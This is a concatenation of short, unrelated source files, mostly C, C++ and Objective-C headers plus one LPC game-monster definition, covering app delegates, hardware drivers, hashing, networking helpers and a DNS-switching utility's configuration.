#pragma strict_types #include "../def.h" inherit MONSTER + "darkling"; void create_object(void); void create_object(void) { ::create_object(); set_name("chef"); add_id("darkling chef"); set_short("The darkling chef",1); set_long("The darkling chef. He looks pretty much like all the others, " + "except for his looong moustaches.\n"); set_level(4); set_hp(220); add_money(25 + random(100)); set_skill("combat",20); set_skill("blunt",30); set_wc(30); set_new_ac(30); set_str(20); make(ARMOUR + "apron"); make(WEAPON + "spoon"); init_command("wear all"); init_command("wield spoon"); load_chat(4,({ "The chef stirs in one of his pots.\n", "The chef says: Ah, yez.. You could take ze roazted " + "pig out now.\n" })); load_a_chat(10,({ "The chef screams: There'll be no dezzert for you " + "thiz evening!!!\n" })); } void start_hunting(object ob) { find_player("yoda")->catch_tell("Foofaaa.\n"); ::start_hunting(ob); } void remove_attacker(object attacker) { find_player("yoda")->catch_tell("Foo.\n"); ::remove_attacker(attacker); }
// // AppDelegate.h // SDKLibDemo // // Created by JustinYang on 8/10/16. // Copyright © 2016 JustinYang. All rights reserved. // #import <UIKit/UIKit.h> #import <CoreData/CoreData.h> @interface AppDelegate : UIResponder <UIApplicationDelegate> @property (strong, nonatomic) UIWindow *window; @property (readonly, strong, nonatomic) NSManagedObjectContext *managedObjectContext; @property (readonly, strong, nonatomic) NSManagedObjectModel *managedObjectModel; @property (readonly, strong, nonatomic) NSPersistentStoreCoordinator *persistentStoreCoordinator; - (void)saveContext; - (NSURL *)applicationDocumentsDirectory; @end
// // BagePersonalViewController.h // Bage // // Created by Duger on 13-12-23. // Copyright (c) 2013年 Duger. All rights reserved. // #import <UIKit/UIKit.h> @interface BagePersonalViewController : UIViewController @property (retain, nonatomic) IBOutlet UIView *detailView; @property (retain, nonatomic) IBOutlet UIImageView *photoImageView; @property (retain, nonatomic) IBOutlet UILabel *nameLabel; @property (retain, nonatomic) IBOutlet UILabel *IDLabel; - (IBAction)didCLickSetting:(UIButton *)sender; - (IBAction)didClickLoginOut:(UIButton *)sender; @end
#include <iostream> #include <map> using namespace std; void count_dna_nucleotides(basic_string<char> sequence) { std::map<char,int> base; //using c++ map to hold the counts const basic_string<char> space = " "; //static space for printing only //setting count to 0 base['A'] = 0; base['C'] = 0; base['G'] = 0; base['T'] = 0; //iterating all the input and incrementing counts accordingly for ( std::string::iterator it=sequence.begin(); it!=sequence.end(); ++it){ base[*it]++; } //std out all keys std::cout << base['A'] << space << base['C'] << space << base['G'] << space << base['T']; std::cout << '\n'; }
#pragma once #include "Vector2.h" #include <windows.h> class Mouse { public: enum Buttons {LEFT = 0, RIGHT = 1, MIDDLE = 2}; Mouse(void); ~Mouse(void); bool Button(Buttons button){return buttons[button];} bool Pressed(Buttons button){return pressed[button];} bool Released(Buttons button){return released[button];} void Message(UINT, WPARAM, LPARAM); void Update(); Vector2 FrameDeltaMovement(){return Vector2(x-oldx, y-oldy);} Vector2 Position(){return Vector2(x,y);} void SetLocked(int xl, int yl){Lockedx = xl;Lockedy=yl;x=xl;y=yl;} int GetWheelDelta(){return wheelDelta;} bool CheckWheelMoved(){return wheelWasMoved;} private: int x, y; int oldx, oldy; int Lockedx, Lockedy; bool buttons[3]; bool lastFrameButtons[3]; bool pressed[3]; bool released[3]; bool wheelMoved; bool wheelWasMoved; int wheelDelta; void UpdatePosition(LPARAM); };
#ifndef CPR_MULTIPART_H #define CPR_MULTIPART_H #include <cstdint> #include <initializer_list> #include <string> #include <vector> #include "defines.h" namespace cpr { struct File { template <typename StringType> explicit File(StringType&& filepath) : filepath{CPR_FWD(filepath)} {} std::string filepath; }; struct Part { Part(const std::string& name, const std::string& value, const std::string& content_type = {}) : name{name}, value{value}, content_type{content_type}, is_file{false} {} Part(const std::string& name, const std::int32_t& value, const std::string& content_type = {}) : name{name}, value{std::to_string(value)}, content_type{content_type}, is_file{false} { } Part(const std::string& name, const File& file, const std::string& content_type = {}) : name{name}, value{file.filepath}, content_type{content_type}, is_file{true} {} std::string name; std::string value; std::string content_type; bool is_file; }; class Multipart { public: Multipart(const std::initializer_list<Part>& parts); std::vector<Part> parts; }; Multipart::Multipart(const std::initializer_list<Part>& parts) : parts{parts} {} } // namespace cpr #endif
// // MTRViewController.h // Metronome // // Created by kupratsevich@gmail.com on 10/24/2017. // Copyright (c) 2017 kupratsevich@gmail.com. All rights reserved. // @import UIKit; @interface MTRViewController : UIViewController @end
// // AppDelegate.h // WHC_Model // // Created by WHC on 16/11/1. // Copyright © 2016年 WHC. All rights reserved. // #import <UIKit/UIKit.h> @interface AppDelegate : UIResponder <UIApplicationDelegate> @property (strong, nonatomic) UIWindow *window; @end
// // NSMutableArray_TLCommon.h // TLCommon // // Created by Joshua Bleecher Snyder on 10/13/09. // #import <Foundation/Foundation.h> @interface NSMutableArray (TLCommon) - (void)shuffle; // adapted from http://stackoverflow.com/questions/56648/whats-the-best-way-to-shuffle-an-nsmutablearray @end
// Copyright (c) 2014 The VeriCoin Core developers // Distributed under the MIT software license, see the accompanying // file COPYING or http://www.opensource.org/licenses/mit-license.php. #ifndef BITCOIN_CRYPTO_SHA1_H #define BITCOIN_CRYPTO_SHA1_H #include <stdint.h> #include <stdlib.h> /** A hasher class for SHA1. */ class CSHA1 { private: uint32_t s[5]; unsigned char buf[64]; size_t bytes; public: static const size_t OUTPUT_SIZE = 20; CSHA1(); CSHA1& Write(const unsigned char* data, size_t len); void Finalize(unsigned char hash[OUTPUT_SIZE]); CSHA1& Reset(); }; #endif // BITCOIN_CRYPTO_SHA1_H
#ifndef CSVGFeSpecularLighting_H #define CSVGFeSpecularLighting_H #include <CSVGFeLighting.h> class CSVGFeSpecularLighting : public CSVGFeLighting { public: CSVG_OBJECT_DEF("feSpecularLighting", CSVGObjTypeId::FE_SPECULAR_LIGHTING) CSVGFeSpecularLighting(CSVG &svg); CSVGFeSpecularLighting(const CSVGFeSpecularLighting &fe); CSVGFeSpecularLighting *dup() const override; bool isSpecular() const override { return true; } bool processOption(const std::string &name, const std::string &value) override; bool drawElement() override; void print(std::ostream &os, bool hier=false) const override; void printValues(std::ostream &os, bool flat=false) const override; void accept(CSVGVisitor *visitor) override { visitor->visit(this); } friend std::ostream &operator<<(std::ostream &os, const CSVGFeSpecularLighting &fe); }; #endif
#ifndef SMOOTH_H #define SMOOTH_H float smooth(float data, float filterVal, float smoothedVal); #endif
// // MRGraph.h // Pods // // Created by stonedong on 16/4/17. // // #import <Foundation/Foundation.h> @class MRGArc; @interface MRGraph : NSObject - (MRGArc*) insertArcWithHeader:(NSString*)hi tailer:(NSString*)ti; - (BOOL) checkCircle; - (NSArray*) allLinkInterNodes:(NSString*)identifier; - (NSArray*) allLinkOuterNodes:(NSString*)identifer; @end
// // ALConfiguracaoViewController.h // WaveMusic // // Created by Alan Magalhães Lira on 20/01/14. // Copyright (c) 2014 Alan Magalhães Lira. All rights reserved. // #import <UIKit/UIKit.h> #import "DoAlertView.h" @interface ALConfiguracaoViewController : UIViewController @property (weak, nonatomic) IBOutlet UISlider *sliderKnn; @property (weak, nonatomic) IBOutlet UISlider *sliderTamPop; @property (weak, nonatomic) IBOutlet UISlider *sliderNumGera; @property (weak, nonatomic) IBOutlet UISlider *sliderProbMut; @property (weak, nonatomic) IBOutlet UILabel *lbKnn; @property (weak, nonatomic) IBOutlet UILabel *lbTamPop; @property (weak, nonatomic) IBOutlet UILabel *lbNumGer; @property (weak, nonatomic) IBOutlet UILabel *lbProbMut; @property (nonatomic) NSString *usuario; @property (strong, nonatomic) DoAlertView *vAlert; - (IBAction)salvarConfiguracao:(id)sender; - (id)initWithNomeUsuario: (NSString *)usuario; @end
#ifndef __BATTERY_H_ #define __BATTERY_H_ #include <LBattery.h> void report_battery_status(); int get_battery_rate(); #endif
/* -*- mode: C; c-basic-offset: 4; indent-tabs-mode: nil; -*- */ /* * Copyright (c) 2010 Havoc Pennington * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to * deal in the Software without restriction, including without limitation the * rights to use, copy, modify, merge, publish, distribute, sublicense, and/or * sell copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING * FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS * IN THE SOFTWARE. */ #include <config.h> #include <hrt/hrt-log.h> static gboolean debug_enabled = FALSE; void hrt_log_init(HrtLogFlags flags) { debug_enabled = (flags & HRT_LOG_FLAG_DEBUG) != 0; } G_CONST_RETURN gboolean hrt_log_debug_enabled(void) { return debug_enabled; }
/** * @Author * Anglaina Hermann * * @File Name * dac8411.h * * @Summary * This source file provides APIs for interfacing * with the DAC8411 DAC from Texas Instruments * * @Description * This code provides an abstraction layer for communicating with the * TI DAC8411 ADC chip * The code requires TI's driver library from MSP430Ware 3.70.00.05 * * @TODO * Resolve failure to update DAC8411 issue */ #ifndef DAC_8411_H_ #define DAC_8411_H_ /** * @Section: Module Definitions */ // Hardware abstraction for SPI chip select #define SYNC_LOW P2OUT &= !BIT6 #define SYNC_HIGH P2OUT |= BIT6 //Mask for normal operation #define NORMAL_MODE_MASK 0x3FFFFFFF /** * @Section: Module APIs */ /** * @Summary * This function initializes the spi module for the DAC (DAC8411) * * @Param * None * * @Returns * None */ void dac8411_initialize(void); /** * @Summary * This function sends 8bits of data to the DAC (DAC8411) * * @Param * data - data to be sent to DAC (DAC8411) * * @Returns * None */ void dac8411_send_8bits(uint8_t data); /** * @Summary * This function sends 24bits of data to the DAC (DAC8411) * * @Param * data - data to be sent to DAC (DAC8411) * * @Returns * None */ void dac8411_send_data(uint32_t data); #endif /* DAC_8411_H_ */
// // ViewController.h // IntroductionVC // // Created by jhtxch on 16/4/30. // Copyright © 2016年 jhtxch. All rights reserved. // #import <UIKit/UIKit.h> @interface ViewController : UIViewController @end
/* ************************************************************************** */ /* */ /* ::: :::::::: */ /* decode.c :+: :+: :+: */ /* +:+ +:+ +:+ */ /* By: barbare <barbare@student.42.fr> +#+ +:+ +#+ */ /* +#+#+#+#+#+ +#+ */ /* Created: 2017/03/09 16:26:29 by barbare #+# #+# */ /* Updated: 2017/03/20 18:36:18 by mbarbari ### ########.fr */ /* */ /* ************************************************************************** */ #include "cpu.h" #include "libft.h" void decode(t_args args[3], int32_t pc, unsigned char encoding) { int i; int a; int elem; ft_bzero(args, sizeof(t_args) * 3); a = MAX_ARGS; pc = pc % MEM_SIZE; if (pc < 0) pc += MEM_SIZE; while (a > 0) { i = a - 1; elem = MAX_ARGS - a; args[elem].arg = (encoding >> (2 * (i + 1))) & 0x3; if (args[elem].arg == DIR_CODE) args[elem].length = length_label(pc); else if (args[elem].arg == IND_CODE) args[elem].length = T_DIR; else args[elem].length = T_REG; --a; } }
#ifndef WIDGETWRAP_H #define WIDGETWRAP_H #include <QString> #include <iostream> #include "computenode.h" #include "ionode.h" #include "rec.h" //logic #include "takeoffnode.h" //#include "vardefnode.h" #include "varnode.h" #include "link.h" #include "yuan.h" class WidgetWrap { public: WidgetWrap(); WidgetWrap(TakeOffNode* ton); WidgetWrap(LandNode* ln); WidgetWrap(GoNode* tn); WidgetWrap(TurnNode *turnn); WidgetWrap(HoverNode *hn); WidgetWrap(DelayNode *dn); WidgetWrap(ComputeNode* cn); WidgetWrap(eNode* cn); WidgetWrap(logNode* cn); WidgetWrap(sinNode* cn); WidgetWrap(IoNode* in); WidgetWrap(BatteryNode* in); WidgetWrap(GimbalNode* in); WidgetWrap(AttitudeNode* in); WidgetWrap(ChannelNode* in); WidgetWrap(RangeFinderNode* in); WidgetWrap(Rec* ln); WidgetWrap(VarInstanceNode* vdn); WidgetWrap(VarNode* vn); WidgetWrap(Link* link); QPointF pos(); int rank(); void rank(int r); double height(); double width(); triYuan* get_yuan_out(); bool check_yuan_in(); //在wrap中复制控件的基本属性,省去筛选控件类型和多一级指针调用 QString category; QString identifier; //控件型号 int controlsId; QString name; //identifier+controlsId int lx,ly,high,wide; ComputeNode* mComputeNode = NULL; eNode* mENode = NULL; logNode* mLogNode = NULL; sinNode* mSinNode = NULL; IoNode* mIONode; BatteryNode* mBatteryNode; GimbalNode* mGimbalNode; AttitudeNode* mAttitudeNode; ChannelNode* mChannelNode; RangeFinderNode* mRangeFinderNode; Rec* mLogicNode; VarInstanceNode* mVarInstanceNode; VarNode* mVarNode; TakeOffNode* mTakeOffNode; LandNode* mLandNode; GoNode* mGoNode; TurnNode* mTurnNode; HoverNode* mHoverNode; DelayNode* mDelayNode; Link* mLinkNode; private: }; #endif // WIDGETWRAP_H
/* Copyright (c) 2014 Nordic Semiconductor. All Rights Reserved. * * The information contained herein is property of Nordic Semiconductor ASA. * Terms and conditions of usage are described in detail in NORDIC * SEMICONDUCTOR STANDARD SOFTWARE LICENSE AGREEMENT. * * Licensees are granted free, non-transferable use of the information. NO * WARRANTY of ANY KIND is provided. This heading must NOT be removed from * the file. * */ #ifndef SER_PHY_DEBUG_COMM_H__ #define SER_PHY_DEBUG_COMM_H__ #ifndef SER_PHY_HCI_DEBUG_ENABLE // empty definitions here #define DEBUG_EVT_HCI_PHY_EVT_TX_PKT_SENT(data) #define DEBUG_EVT_HCI_PHY_EVT_BUF_REQUEST(data) #define DEBUG_EVT_HCI_PHY_EVT_RX_PKT_RECEIVED(data) #define DEBUG_EVT_HCI_PHY_EVT_RX_PKT_DROPPED(data) #define DEBUG_EVT_HCI_PHY_EVT_TX_ERROR(data) #define DEBUG_EVT_SLIP_PACKET_TX(data) #define DEBUG_EVT_SLIP_ACK_TX(data) #define DEBUG_EVT_SLIP_PACKET_TXED(data) #define DEBUG_EVT_SLIP_ACK_TXED(data) #define DEBUG_EVT_SLIP_PACKET_RXED(data) #define DEBUG_EVT_SLIP_ACK_RXED(data) #define DEBUG_EVT_SLIP_ERR_RXED(data) #define DEBUG_EVT_TIMEOUT(data) #define DEBUG_HCI_RETX(data) #define DEBUG_EVT_MAIN_BUSY(data) #define DEBUG_EVT_TX_REQ(data) #else #include <stdint.h> //Low level hardware events typedef enum { HCI_PHY_EVT_TX_PKT_SENT, HCI_PHY_EVT_BUF_REQUEST, HCI_PHY_EVT_RX_PKT_RECEIVED, HCI_PHY_EVT_RX_PKT_DROPPED, HCI_PHY_EVT_TX_ERROR, HCI_SLIP_EVT_PACKET_TX, HCI_SLIP_EVT_ACK_TX, HCI_SLIP_EVT_PACKET_TXED, HCI_SLIP_EVT_ACK_TXED, HCI_SLIP_EVT_PACKET_RXED, HCI_SLIP_EVT_ACK_RXED, HCI_SLIP_EVT_ERR_RXED, HCI_TIMER_EVT_TIMEOUT, HCI_RETX, HCI_MAIN_BUSY, HCI_TX_REQ, HCI_PHY_EVT_MAX } hci_dbg_evt_type_t; //Low level hardware event definition typedef struct { hci_dbg_evt_type_t evt; uint32_t data; } hci_dbg_evt_t; typedef void (*hci_dbg_event_handler_t)(hci_dbg_evt_t event); void debug_init(hci_dbg_event_handler_t evt_callback); void debug_evt(hci_dbg_evt_type_t evt, uint32_t data); #define DEBUG_EVT(event_type, data) \ do { \ debug_evt(event_type, data); \ } while(0); #define DEBUG_EVT_HCI_PHY_EVT_TX_PKT_SENT(data) \ do { \ DEBUG_EVT(HCI_PHY_EVT_TX_PKT_SENT, data); \ } while (0); #define DEBUG_EVT_HCI_PHY_EVT_BUF_REQUEST(data) \ do { \ DEBUG_EVT(HCI_PHY_EVT_BUF_REQUEST, data); \ } while (0); #define DEBUG_EVT_HCI_PHY_EVT_RX_PKT_RECEIVED(data) \ do { \ DEBUG_EVT(HCI_PHY_EVT_RX_PKT_RECEIVED, data); \ } while (0); #define DEBUG_EVT_HCI_PHY_EVT_RX_PKT_DROPPED(data) \ do { \ DEBUG_EVT(HCI_PHY_EVT_RX_PKT_DROPPED, data); \ } while (0); #define DEBUG_EVT_HCI_PHY_EVT_TX_ERROR(data) \ do { \ DEBUG_EVT(HCI_PHY_EVT_TX_ERROR, data); \ } while (0); #define DEBUG_EVT_SLIP_PACKET_TX(data) \ do { \ DEBUG_EVT(HCI_SLIP_EVT_PACKET_TX, data); \ } while (0); #define DEBUG_EVT_SLIP_ACK_TX(data) \ do { \ DEBUG_EVT(HCI_SLIP_EVT_ACK_TX, data); \ } while (0); #define DEBUG_EVT_SLIP_PACKET_TXED(data) \ do { \ DEBUG_EVT(HCI_SLIP_EVT_PACKET_TXED, data); \ } while (0); #define DEBUG_EVT_SLIP_ACK_TXED(data) \ do { \ DEBUG_EVT(HCI_SLIP_EVT_ACK_TXED, data); \ } while (0); #define DEBUG_EVT_SLIP_PACKET_RXED(data) \ do { \ DEBUG_EVT(HCI_SLIP_EVT_PACKET_RXED, data); \ } while (0); #define DEBUG_EVT_SLIP_ACK_RXED(data) \ do { \ DEBUG_EVT(HCI_SLIP_EVT_ACK_RXED, data); \ } while (0); #define DEBUG_EVT_SLIP_ERR_RXED(data) \ do { \ DEBUG_EVT(HCI_SLIP_EVT_ERR_RXED, data); \ } while (0); #define DEBUG_EVT_TIMEOUT(data) \ do { \ DEBUG_EVT(HCI_TIMER_EVT_TIMEOUT, data); \ } while (0); #define DEBUG_HCI_RETX(data) \ do { \ DEBUG_EVT(HCI_RETX, data); \ } while (0); #define DEBUG_EVT_MAIN_BUSY(data) \ do { \ DEBUG_EVT(HCI_MAIN_BUSY, data); \ } while (0); #define DEBUG_EVT_TX_REQ(data) \ do { \ DEBUG_EVT(HCI_TX_REQ, data); \ } while (0); #endif // SER_PHY_HCI_DEBUG_ENABLE #endif // SER_PHY_DEBUG_COMM_H__
/* MIT License Copyright (c) 2016 Julien Delmotte Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. */ #include <core32.h> #include <core32/extint.h> void INT_SetExternalInterrupt(unsigned int Int, unsigned int Polarity, unsigned int Priority, unsigned int SubPriority) { INT_DisableExternalInterrupt(Int); INT_ClearExternalInterrupt(Int); switch (Int) { case INT_1: INTCONbits.INT1EP = Polarity; IPC1bits.INT1IP = Priority; IPC1bits.INT1IS = SubPriority; break; } INT_EnableExternalInterrupt(Int); } void INT_SetExternalInterruptState(unsigned int Int, unsigned int Enabled) { switch (Int) { case INT_1: IEC0bits.INT1IE = Enabled; break; } } void INT_ClearExternalInterrupt(unsigned int Int) { switch (Int) { case INT_1: IFS0bits.INT1IF = 0; break; } }
// -*- c++ -*- // Generated by gmmproc 2.44.0 -- DO NOT MODIFY! #ifndef _GTKMM_LEVELBAR_P_H #define _GTKMM_LEVELBAR_P_H #include <gtkmm/private/widget_p.h> #include <glibmm/class.h> namespace Gtk { class LevelBar_Class : public Glib::Class { public: #ifndef DOXYGEN_SHOULD_SKIP_THIS typedef LevelBar CppObjectType; typedef GtkLevelBar BaseObjectType; typedef GtkLevelBarClass BaseClassType; typedef Gtk::Widget_Class CppClassParent; typedef GtkWidgetClass BaseClassParent; friend class LevelBar; #endif /* DOXYGEN_SHOULD_SKIP_THIS */ const Glib::Class& init(); static void class_init_function(void* g_class, void* class_data); static Glib::ObjectBase* wrap_new(GObject*); protected: //Callbacks (default signal handlers): //These will call the *_impl member methods, which will then call the existing default signal callbacks, if any. //You could prevent the original default signal handlers being called by overriding the *_impl method. static void offset_changed_callback(GtkLevelBar* self, const gchar* p0); //Callbacks (virtual functions): }; } // namespace Gtk #endif /* _GTKMM_LEVELBAR_P_H */
// // material.h // raytracer // // Created by Senior, Andrew on 12/11/2013. // Copyright (c) 2013 Senior, Andrew. All rights reserved. // #ifndef raytracer_material_h #define raytracer_material_h #include <glm/glm.hpp> namespace rendernaut { namespace raytracer { class Material { public: Material(); glm::vec3 getColor() const; float getReflection() const; float getDiffuse() const; void setColor(glm::vec3 color); void setReflection(float reflection); void setDiffuse(float diffuse); private: glm::vec3 _color; float _reflection; float _diffuse; }; } // namespace raytracer } // namespace rendernaut #endif
#pragma once #define NETWORK_INTERFACE "http://tools.cloudxns.net/Api/getLdns" #define AD_LINK_URL "http://tools.cloudxns.net/index/dnsselector" #define DNS_PING_URL L"www.qq.com" #define WM_TASK_MSG (WM_USER + 16427) #define LIST_ITEM_SELECTED_COLOR (0xFF1A86D2) #define PING_TIMEOUT (0xFFFFFFFF) #define UI_MSG_TEXT_COLOR (0xFF1A86D2) #define UI_WARNING_TEXT_COLOR (0xFFFFB700) #define UI_ERROR_TEXT_COLOR (0xFFFF0000) #define DEFAULT_DNS_1 L"180.76.76.76" #define DEFAULT_DNS_2 L"114.114.114.114" #define NET_WORK_INTERFACE_REQUEST_MAX_TIME (3) #define UI_MAIN_FRAME_WIDTH (600) #define UI_MAIN_FRAME_MIN_HEIGHT (500) #define UI_MAIN_FRAME_MAX_HEIGHT (800) enum result { result_success, result_com_initialize_fail, result_main_frame_wnd_create_fail, result_dnsping_fail, result_wmi_initialize_fail, result_enum_adapter_fail, result_dns_ip_invalid, result_switch_dns_ip_fail, result_network_interface_http_request_fail, result_network_interface_respond_parse_fail, result_network_interface_respond_status_not_exist, result_network_interface_respond_status_not_success, result_network_interface_respond_data_not_exist, result_getiftalbe_malloc_fail, result_getiftalbe_fail, result_no_valid_dns_for_switching, result_no_valid_adapter_for_switching, result_temp_ad_uri_invalid, result_temp_ad_html_file_create_file }; static const char* s_result_string[] = { "³É¹¦", "COM×é¼þ³õʼ»¯Ê§°Ü", "Ö÷´°¿Ú´´½¨Ê§°Ü", "ping DNSʧ°Ü", "WMI³õʼ»¯Ê§°Ü", "ö¾ÙÍø¿¨Ê§°Ü", "DNS Ip²»ºÏ·¨", "Çл»Íø¿¨DNSʧ°Ü", "ÇëÇóDNSÁбíÍøÂç´íÎó", "DNSÁÐ±í·µ»ØÊý¾ÝÒì³£", "DNS·µ»ØÊý¾Ý¸ñʽ²»ÕýÈ·", "·þÎñÆ÷¾Ü¾øÇëÇóDNSÊý¾Ý", "δÄÜ´Ó·þÎñÆ÷»ñÈ¡ÓÐЧDNSÊý¾Ý", "»ñÈ¡Íø¿¨Êý¾Ýͳ¼Æ·ÖÅäÄÚ´æÊ§°Ü", "»ñÈ¡Íø¿¨Êý¾Ýͳ¼ÆÊ§°Ü", "ûÓпÉÇл»µÄDNS", "ûÓпÉÇл»µÄÍø¿¨", "Ò³Ãæ×ÊÔ´²»¿ÉÓÃ", "ÁÙʱHTMLÎļþ´´½¨Ê§°Ü" }; __inline const char* result_string(result res) { return s_result_string[res]; } //#define AD_HTML_FMT "<!DOCTYPE html><html lang=\"en\"><head> <meta charset=\"UTF-8\"> <title>test</title> <style type=\"text/css\"> *{margin: 0;padding: 0} html,body{ height: 100%%; width: 100%%; overflow: hidden; } img{ height: 100%%; width: 100%%; } </style></head><body> <a href=\"%s\" target=\"_blank\"> <img src=\"%s\"> </a></body></html>"
// Copyright (c) 2011-2015 The Bitcoin Core developers // Distributed under the MIT software license, see the accompanying // file COPYING or http://www.opensource.org/licenses/mit-license.php. #ifndef BITCOIN_QT_TRANSACTIONVIEW_H #define BITCOIN_QT_TRANSACTIONVIEW_H #include "guiutil.h" #include <QWidget> #include <QKeyEvent> class PlatformStyle; class TransactionFilterProxy; class WalletModel; QT_BEGIN_NAMESPACE class QComboBox; class QDateTimeEdit; class QFrame; class QItemSelectionModel; class QLineEdit; class QMenu; class QModelIndex; class QSignalMapper; class QTableView; QT_END_NAMESPACE /** Widget showing the transaction list for a wallet, including a filter row. Using the filter row, the user can view or export a subset of the transactions. */ class TransactionView : public QWidget { Q_OBJECT public: explicit TransactionView(const PlatformStyle *platformStyle, QWidget *parent = 0); void setModel(WalletModel *model); // Date ranges for filter enum DateEnum { All, Today, ThisWeek, ThisMonth, LastMonth, ThisYear, Range }; enum ColumnWidths { STATUS_COLUMN_WIDTH = 30, WATCHONLY_COLUMN_WIDTH = 23, INSTANTSEND_COLUMN_WIDTH = 23, DATE_COLUMN_WIDTH = 120, TYPE_COLUMN_WIDTH = 240, AMOUNT_MINIMUM_COLUMN_WIDTH = 120, MINIMUM_COLUMN_WIDTH = 23 }; private: WalletModel *model; TransactionFilterProxy *transactionProxyModel; QTableView *transactionView; QComboBox *dateWidget; QComboBox *typeWidget; QComboBox *watchOnlyWidget; QComboBox *instantsendWidget; QLineEdit *addressWidget; QLineEdit *amountWidget; QMenu *contextMenu; QSignalMapper *mapperThirdPartyTxUrls; QFrame *dateRangeWidget; QDateTimeEdit *dateFrom; QDateTimeEdit *dateTo; QAction *abandonAction; QWidget *createDateRangeWidget(); GUIUtil::TableViewLastColumnResizingFixer *columnResizingFixer; virtual void resizeEvent(QResizeEvent* event) override; bool eventFilter(QObject *obj, QEvent *event) override; private Q_SLOTS: void contextualMenu(const QPoint &); void dateRangeChanged(); void showDetails(); void copyAddress(); void editLabel(); void copyLabel(); void copyAmount(); void copyTxID(); void copyTxHex(); void copyTxPlainText(); void openThirdPartyTxUrl(QString url); void updateWatchOnlyColumn(bool fHaveWatchOnly); void abandonTx(); Q_SIGNALS: void doubleClicked(const QModelIndex&); /** Fired when a message should be reported to the user */ void message(const QString &title, const QString &message, unsigned int style); /** Send computed sum back to wallet-view */ void trxAmount(QString amount); public Q_SLOTS: void chooseDate(int idx); void chooseType(int idx); void chooseWatchonly(int idx); void chooseInstantSend(int idx); void changedPrefix(const QString &prefix); void changedAmount(const QString &amount); void exportClicked(); void focusTransaction(const QModelIndex&); void computeSum(); }; #endif // BITCOIN_QT_TRANSACTIONVIEW_H
/* * Copyright (c) 2016 Chris Iatrou <Chris_Paul.Iatrou@tu-dresden.de> * Chair for Process Systems Engineering * Technical University of Dresden * * Permission is hereby granted, free of charge, to any person * obtaining a copy of this software and associated documentation * files (the "Software"), to deal in the Software without * restriction, including without limitation the rights to use, * copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the * Software is furnished to do so, subject to the following * conditions: * * The above copyright notice and this permission notice shall be * included in all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, * EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES * OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND * NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT * HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, * WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING * FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR * OTHER DEALINGS IN THE SOFTWARE. * */ #ifndef UA_REMOTEINSTANCE_MAP_H #define UA_REMOTEINSTANCE_MAP_H extern "C" { #include "open62541.h" } #include <string> #include <list> #include "ipc_managed_object.h" class ua_remoteNode { public: UA_NodeId nodeId; UA_NodeClass nodeClass; std::string browseName; std::string displayName; std::string description; std::list<ua_remoteNode *> typeDefinitions; std::list<ua_remoteNode *> variables; std::list<ua_remoteNode *> objects; std::list<ua_remoteNode *> methods; ua_remoteNode() { UA_NodeId_init(&this->nodeId); this->nodeClass = UA_NODECLASS_UNSPECIFIED; }; ~ua_remoteNode() { UA_NodeId_deleteMembers(&this->nodeId); }; ua_remoteNode *getVariableByBrowseName(std::string name); }; class ua_remoteInstance_map { private: std::string targetUri; UA_Client *client; public: ua_remoteNode rootNode; ua_remoteInstance_map(std::string targetUri); // Create new/own client ua_remoteInstance_map(std::string targetUri, UA_Client *client); // Reuse existing client ~ua_remoteInstance_map(); int32_t mapRemoteSystemInstances(); int32_t mapRemoteSystemInstances(uint32_t mappingDepthLimit); ua_remoteNode *findNodeByName(ua_remoteNode *node, std::string name); void printNamespace(); void printNamespace(ua_remoteNode *rootNode, uint32_t depth); }; class ua_iterator_handle { public: UA_Client *client; ua_remoteNode *parent; ua_remoteInstance_map *caller; uint32_t iterationDepth; int32_t depthLimit; ua_iterator_handle(UA_Client *client, ua_remoteNode *parentNode, ua_remoteInstance_map *caller) : client(client), parent(parentNode), caller(caller), depthLimit(-1), iterationDepth(0) {}; }; #endif // UA_REMOTEINSTANCE_MAP_H
// // AppDelegate.h // codePackage // // Created by 周冰烽 on 2017/7/3. // Copyright © 2017年 周冰烽. All rights reserved. // #import <UIKit/UIKit.h> @interface AppDelegate : UIResponder <UIApplicationDelegate> @property (strong, nonatomic) UIWindow *window; @end
